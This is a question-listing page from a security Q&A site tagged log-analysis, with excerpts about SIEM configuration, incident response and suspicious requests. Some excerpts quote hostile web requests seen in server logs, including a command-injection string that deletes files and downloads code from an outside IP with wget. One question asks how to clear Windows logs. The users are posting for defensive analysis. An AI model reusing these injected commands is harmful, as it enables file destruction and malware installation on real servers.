Questions tagged [log-analysis]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
0 answers
10 views

Nids log files step by step [closed]

Can anyone tell me what is happening here step by step: # This text file shows a collection of log entries from the NIDS and one of the hosts on the network # Only relevant entries are shown # 1. 14:...
user avatar
-1 votes
0 answers
10 views

How delete windows logs with powershell & cmd command in period of time [closed]

I am curious that how can can i delete windows logs with PowerShell & cmd command in period of time? Period of time mean only delete specific logs related to last two month. Please show all ...
user avatar
0 votes
1 answer
15 views

Need help configuring SOF-ELK Sans to parse IIS W3C logs

How can I get the SOF-ELK VM to inject the IIS logs like the httpd logs. Here are my filebeats yml configs: /etc/filebeat/filebeat.yml filebeat.config.inputs: enabled: true path: /usr/local/sof-...
user avatar
  • 1
0 votes
0 answers
40 views

How to find data associated with windows defender processStart reference in windows10

Recently my windows defender warned me about a possibly malicious program it found on my pc. I have trouble interpreting the data windows defender serves me and I haven't found any microsoft ...
user avatar
0 votes
0 answers
87 views

What is SAFE-MDx Authorization Client, and what does it do?

I found client.log in my EFI system partition, and this is what it contains: SAFE-MDx Authorization Client Copyright (C) 2009-2020 Dell Inc., All Rights Reserved. SafeAuthClient.exe version: 2.3.7 -...
user avatar
14 votes
1 answer
2k views

How can I practice log file analysis?

There are a lot of excellent resources to sharpen your pentesting skills (like Hackthebox, Vulnhub, Juiceshop, Burp Suite Academy and so on), but I couldn't find something similar for forensics, ...
user avatar
0 votes
1 answer
154 views

Suspicious visits to one URL from same user-agent but from unique IPs

For the past few weeks, I am observing a lots of visits from a specific user-agent - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 ...
user avatar
  • 107
1 vote
2 answers
91 views

How to source training data in ML for information security? [closed]

A company entrusts a Data Scientist with the mission of processing and valuing data for the research or treatment of events related to traces of computer attacks. I was wondering how would he get the ...
user avatar
1 vote
0 answers
103 views

Identify user with a VPN connection within the network [closed]

I know of a user within my network who initiated a VPN connection within my network. What are ways I'll be able to find out the identity of user, searching port numbers? specific protocol established? ...
user avatar
  • 11
1 vote
0 answers
95 views

Which tools ISPs use for browsing logs? [closed]

It is known that ISP has to log various network data for various purposes, such as law enforcement needs. However, what are some examples of software tools used by ISPs to browse this huge amount of ...
user avatar
  • 129
3 votes
1 answer
305 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
user avatar
1 vote
1 answer
223 views

Why is my web site being scanned for license.txt, and should I be worried?

Lately I am seeing multiple daily 404s for variations of "license.txt", e.g., "wordpress/license.txt", "blog/license.txt", "old/license.txt", "new/license.txt". Here's a little snippet of slightly ...
user avatar
  • 113
2 votes
1 answer
219 views

What forensics should be collected as part of an incident response plan on Windows 10?

I am in the process of creating an IRP that responds to system hacks. I have attacked the Windows 10 myself (victim machine), using Metasploit on Kali Linux software, where I managed to gain access ...
user avatar
  • 73
1 vote
0 answers
172 views

Help in understnading HIDS OSSEC traces

I realized my system Ubuntu and windows dual boot might have been compromised. So, I installed OSSEC HIDS to try to look for issues. When I ran dmesg, i found the following trace: ------------[ cut ...
user avatar
  • 111
3 votes
1 answer
228 views

Alternative routes for Incident Response approach other than Windows Event Viewer?

I am in preparation of developing an Incident Response Plan for a computer that has been hacked (no malware installed, just a system hack). My plan is to analyse through Windows Event Viewer to try ...
user avatar
  • 73
1 vote
1 answer
189 views

How secure are Windows Event Logs?

Just doing some reading surrounding analysing intrusions, I’ve read that Windows Event Logs can be modified by an attacker to cover their tracks, how accurate is this and what are the alternative for ...
user avatar
  • 73
1 vote
1 answer
742 views

Where can I download sample security log file archives?

I am volunteering to teach some folks to learn Splunk to analyze logs by using SIEM. Therefore I will need some public log file archives such as auditd, secure.log, firewall, webapp logs, which I can ...
user avatar
1 vote
2 answers
1k views

Tracking Down Failed Logins

I've recently implemented a SIEM solution, and am now able to see a large amount of failed login attempts from legitimate users. In fact, it's such high volume that my SIEM is correlating them to be ...
user avatar
  • 11
1 vote
2 answers
225 views

What causes Windows security logs saying an attempt was made to reset an account's password?

This falls under the category of eliminating what might be normal activity from my attention. I'm looking at Windows 7 security event logs. I don't have context to know if the following event is a ...
user avatar
  • 6,797
0 votes
2 answers
289 views

Some bots are trying to locate files on server, how to protect?

In my apache error log I am getting these errors (there are 100s of these lines), most of these IPs are from China. I guess some bots are trying to find vulnerable files. Is there any way to protect ...
user avatar
  • 11
1 vote
0 answers
173 views

Application Security - Security Testing Log files?

As per latest OWASP Guidelines (2019) - a security assessor has to test against application platform configuration dubbed as OTG-CONFIG-002 in OWASP Testing Guide v4. Since OWASP is a Security ...
user avatar
2 votes
1 answer
223 views

Is a good idea to have security logs stored in the cloud?

I was discussing with my friend the topic of the importance of log analytics/correlation and real-time response for an organization. Then, he mentioned that some people consider sending logs (...
user avatar
  • 180
2 votes
1 answer
311 views

OWASP: Insufficient Logging & Monitoring - open source tools

Being new to the security and logging and after reading a lot about the terms used, I am pretty sure I neither need an IDS/IPS nor a WAF. I am mostly interested in automating the "monitoring" of my ...
user avatar
  • 121
-1 votes
1 answer
136 views

How to determine where an attack came from? [duplicate]

I've noticed sometimes that I'd receive very random requests coming to a live server that I'd be hosting in realtime through my log. It would usually look something like: [14/Mar/2019 02:05:36] "GET /...
user avatar
36 votes
2 answers
8k views

How to prevent users from executing commands through browser URL?

I have very little experience with security (still learning) however was combing through my logs and I noticed the following request: "GET /index.php?s=/index/\\think\\app/invokefunction&function=...
user avatar
0 votes
1 answer
118 views

Monitoring of Logging

I wish to implement logging and auditing features on a Windows 10 client used for carrying out secure transactions through our FTP server, with a client organisation. What all features could I ...
user avatar
  • 347
0 votes
1 answer
2k views

What are the common features to identify Brute-Force attack from Apache log file?

There are various methods to find attack patterns for different types of attacks. Apache-scalp is one such tool, but the rule set is not available to find the brute-force attack pattern via regular ...
user avatar
  • 1
2 votes
1 answer
348 views

Security Log Analyze [closed]

is there any tools that I give it web server log (like Apache web server) and analyze it if there was any attack or not? I don't want to use SIEM.
user avatar
  • 21
-2 votes
1 answer
1k views

Is Private Internet Access (PIA) VPN safe to use? [closed]

As said in the PIA website they pretend to have the following VPN features: PPTP, OpenVPN and L2TP/IPSec SOCKS5 Proxy Included No traffic logs So my question are: Is Private Internet Access VPN ...
user avatar
  • 99
1 vote
1 answer
323 views

Heuristics to Identify CSRF from Web Access Log File

I am new here in security. I want to identify suspicious users on web application by analyzing web access log file. For this, I am considering CSRF attack. For this purpose, I am generating some ...
user avatar
  • 151
3 votes
2 answers
431 views

What are the common features to identify CSRF attack from Apache log file?

I have tried CSRF attack on web vulnerability application known as DVWA at my localhost and on kali linux OS. I have changed password on this application by using CSRF. It has collected following log ...
user avatar
  • 151
1 vote
2 answers
536 views

Are log files executable files?

As a beginner in security research project, I came across log injection and my question is itself about log injection files. Are log injection files executable, if no, how do they execute/run ...
user avatar
2 votes
2 answers
177 views

Does an admin need legitimaly to access his own logs generated by auditd?

In my understanding, admins need to access logs of the servers, workstations, services and applications they manage, either for administration or debugging purposes, never to logs generated by auditd ...
user avatar
  • 575
3 votes
1 answer
999 views

MacBookPro's OSX install.log has entries that predate the initial unboxing

Basically what the title says. I recently had a look at my /var/log/install.log and the earliest entries are from about 2 full months prior to me unboxing the computer. The packaging had cellophane, ...
user avatar
  • 151
0 votes
0 answers
706 views

Multiple sshd sessions for single SSH login

I was grepping through /var/log/auth.log and noticed that for some reason, not every time, but sometimes when I would log in via SSH I would see entries like the following - where there were multiple ...
user avatar
  • 135
0 votes
1 answer
106 views

I need help finding a list or a reference of DLL's for discovering hijacked programs

I am removing malware from my grandpa's Windows computer using the system internals suite. I suspect he has a Trojan which has been making remote connections and downloading a TON of viruses every day....
user avatar
2 votes
1 answer
322 views

Windows: What are the security implication of adding Network Service account to “Event Log Readers” group?

I want to read security audit logs from a network service. By default, Network Service does not have permission to read but it can if the account is added to "Event Log Readers". One of the examples ...
user avatar
  • 21
3 votes
4 answers
791 views

SOC and generic log parsing

I am making a conceptual work-flow of a SOC so if we suppose that a SIEM solution is integrated inside an organization's in-house SOC. Also, if the team of the SOC is the one managing the SIEM ...
user avatar
  • 33
-2 votes
2 answers
821 views

How to get a thorough view of wireless router's logs?

I am trying to attack my wireless router using Kali Linux for learning purposes. When I check the wireless router's logs after a successful attack, it doesn't show me the logs related to attacks which ...
user avatar
6 votes
1 answer
248 views

Looking for resources for interpreting my security logs

I am currently setting up an Apache web server on a Linux machine at my house. I am working on a website project which will allow users to log in to complete certain work. There is no open ...
user avatar
0 votes
1 answer
127 views

Difference between legitimate file transfer vs data exfiltration of confidential files using FTP

I have FTP logs and some other logs assuming that corporate environment is actively monitored. How would I know that user is using ftp to transfer regular file and not using the same to transfer ...
user avatar
1 vote
0 answers
251 views

Dovecot in auth.log suspicious entry analysis [duplicate]

I am wondering is this entry in auth.log something that I should be concerned about Feb 22 12:18:25 host1 auth: pam_unix(dovecot:auth): check pass; user unknown Feb 22 12:18:25 host1 auth: pam_unix(...
user avatar
0 votes
1 answer
111 views

Historical IP reputation data

I have a firewall log with events from 2 years ago. I want to examine that log as if I was investigating at the time of collection (2 years ago). However, I would like to use IP address reputation ...
user avatar
  • 101
2 votes
2 answers
114 views

What is the best way to analyze results of a technical security assessment? [closed]

I want to conduct a technical security assessment on my company's client computers with focus on Windows 10. So far, my idea is to execute several Powershell scripts on the clients and gather the ...
user avatar
  • 21
-1 votes
1 answer
120 views

Access log of someone using different IPs to send the same type of traffic

I have a magento shop system and I read this in my logs: 206.75.231.xxx - - [14/Dec/2017:19:59:11 +0100] "POST /downloader/ HTTP/1.1" 403 220 "-" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 ...
user avatar
  • 1
2 votes
1 answer
2k views

Suspcious timing of [LAN access from remote] in router log

I read that [LAN access from remote] to UPnP ports can be an attacker looking for vulnerabilities, and is usually nothing to worry about. However I'm concerned seeing this activity in a log so close ...
user avatar
  • 125
1 vote
0 answers
302 views

Identifying privilege escalation in OSSEC logs [closed]

I am working on an intrusion detection system which can prioritize and attribute the logs generated by OSSEC. So, how can I understand a privilege escalation case (or just the privileges a user has at ...
user avatar
  • 111
0 votes
1 answer
11k views

Is this event a security concern: Windows 10: Event 360, User Device Registration?

My computer just froze, and I ended up having to reboot. It appears Windows Defender was coming up with a notification, but that froze as well. I was trying to see what went wrong in the event ...
user avatar
  • 3,147
3 votes
2 answers
125 views

Flash Drive: Is it possible to figure out what/when files were added?

Recently left my flash drive on the university computers and someone found it. He said he looked through the flash drive to find my resume and contact me. I want to leave this situation in good faith, ...
user avatar
  • 33
1 vote
3 answers
2k views

Are these log entries normal?

I have noticed high CPU usage, and noticed that user dinko had high CPU usage with the sshd process when I typed top. User dinko was just some random user that I created and had a Ruby application ...
user avatar